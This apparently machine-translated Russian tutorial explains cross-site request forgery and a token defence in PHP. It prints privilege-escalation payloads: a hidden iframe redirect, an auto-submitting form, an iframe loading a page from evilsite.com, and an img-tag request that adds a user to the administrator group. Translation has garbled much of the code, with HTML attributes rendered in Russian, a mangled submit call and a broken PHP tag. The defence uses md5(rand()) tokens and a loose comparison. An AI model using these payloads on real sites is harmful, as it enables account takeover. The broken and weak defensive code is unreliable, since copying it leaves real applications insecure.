Практика
Подделка межсайтовых запросов ( CSRF / XSRF ), так называемая атака одним нажатием, перехватывающая атака или перехват сеансов, является разновидностью вредоносного использования веб-сайтов.
CSRF-атаки могут позволить злоумышленнику захватить учетную запись жертвы, что может привести к подделке вредоносных запросов под этой учетной записью. Правильная эксплуатация CSRF позволяет выйти из системы, перевести деньги, изменить пароль, изменить информацию, создавать сообщения, изменять статус пользователя; все это выполняется из учетной записи жертвы.
Атака CSRF не только относительно проста в достижении, но может быть очень трудно обнаружить саму атаку. Это связано с тем, что атаки кажутся совершенными законным пользователем.
умеренный
Очень высоко
Существует ряд методов, которые можно использовать для атаки CSRF. Наиболее распространенные формы атаки: XSS , тэги IMG и социальная инженерия.
XSS метод атаки часто проще при условии , что недостаток XSS был найден в целевом сайте.
Социальную инженерию может быть сложнее достичь, так как важно завоевать доверие жертв и создать отдельную страницу для использования уязвимости.
Основная предпосылка этого метода - внедрить JavaScript в целевой сайт и выполнить запрос как пользователь-жертва. Этот метод, конечно, зависит от дыры в XSS, существующей на веб-сайте, и может использоваться (например) для повышения статуса пользователя до административного.
Следующее будет работать, если административная страница использует $ _GET () или $ _REQUEST () в качестве ввода:
< iframe src = 'javascript: window.location = "http://www.example.com/admin.php?edituser=1337&addgroup=administrator";' высота = '0' ширина = '0' стиль = 'граница: 0;' / >
Аргументы высоты, ширины и стиля скрывают iframe, поэтому администратор ничего не подозревает, когда страница волшебным образом перенаправляет на страницу admin.php.
Следующее будет работать, если административная страница использует $ _POST () в качестве ввода:
1 - Создайте веб-страницу, размещенную где-то в Интернете, и используйте код, подобный следующему, измените входные данные формы при необходимости:
< html > < body > < form action = "" method = "post" id = "formid" > < input type = "hidden" name = "attack" value = "valuegoeshere" / > < / form > < script > document .getElementById ( 'FormID') представляет (). < / script > < / body >
2. Вставьте страницу в iframe на уязвимую страницу XSS следующим образом:
< iframe src = 'http://www.evilsite.com/csrfrider.php' height = '0' width = '0' style = 'border: 0;' / >
Это заставит форму автоматически публиковать на странице администрирования, если администратор загружает ее. Поскольку он скрывается в iframe, ему практически не требуется социальная инженерия, чтобы администратор мог загрузить страницу.
Подобно встраиванию эксплойта CSRF в iframe, как описано в методе XSS, теги также можно использовать для сокрытия атаки CSRF. Наиболее распространенные из этих атак используются в системах досок объявлений. Аватары и теги [img] часто практически не проверяют и часто являются горячей точкой для точек атаки CSRF.
Встраивание CSRF-атаки в теги [img], в свою очередь, будет выглядеть следующим образом в источнике HTML:
< img src = 'http://www.example.com/admin.php?edituser=1337&addgroup=administrator' / >
Когда к странице обращается авторизованный пользователь (администратор), происходит злонамеренная атака, и у администратора не будет немедленного указания на то, что произошла атака.
Конечно, если на сайте не обнаружено недостатков XSS, а метод IMG не работает, социальная инженерия всегда может иметь место. Для этого потребуется связаться с администратором и заставить его щелкнуть ссылку, которая примет его вредоносный скрипт. Это может быть просто скрытие URL-адреса $ _GET с помощью tinyurl или требование администратора получить доступ к вашему вредоносному сценарию публикации. Это немного более рискованно, поскольку часто более прослеживаемо, чем предыдущие методы.
Хотя использование метода POST для всех форм поможет защитить от CSRF-атак, он не является пуленепробиваемым. Рекомендуемый способ защиты от CSRF-атак - использование уникальных токенов в формах. Токен используется внутри скрытого элемента в форме, чтобы доказать, что запрос не подделан. Каждый токен уникален для пользователя и сохраняется в сеансе пользователя. Чтобы настроить токены, используйте следующий код:
session_start ( ) ; if ( ! isset ( $ _SESSION [ 'token' ] ) ) { $ token = md5 ( rand ( ) ) ; $ token = str_split ( $ token , 10 ) ; $ _SESSION [ 'token' ] = $ token [ 0 ] ; }
Выше будет создан токен и сохранен в сеансе пользователя. Скрытое значение должно находиться в форме ввода следующим образом:
< input type = 'hidden' name = 'token' value = ' = $ _ SESSION [' token ']?> ' />
Третья часть проверки токена заключается в добавлении проверки следующим образом:
if ( $ _POST [ 'token' ] == $ _SESSION [ 'token' ] ) { / * Токен действителен, продолжить * / }
Комментарии
Оставить комментарий
информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации
Термины: информационная безопасность - Криптография и Криптоанализ. Стеганография. Защита Информации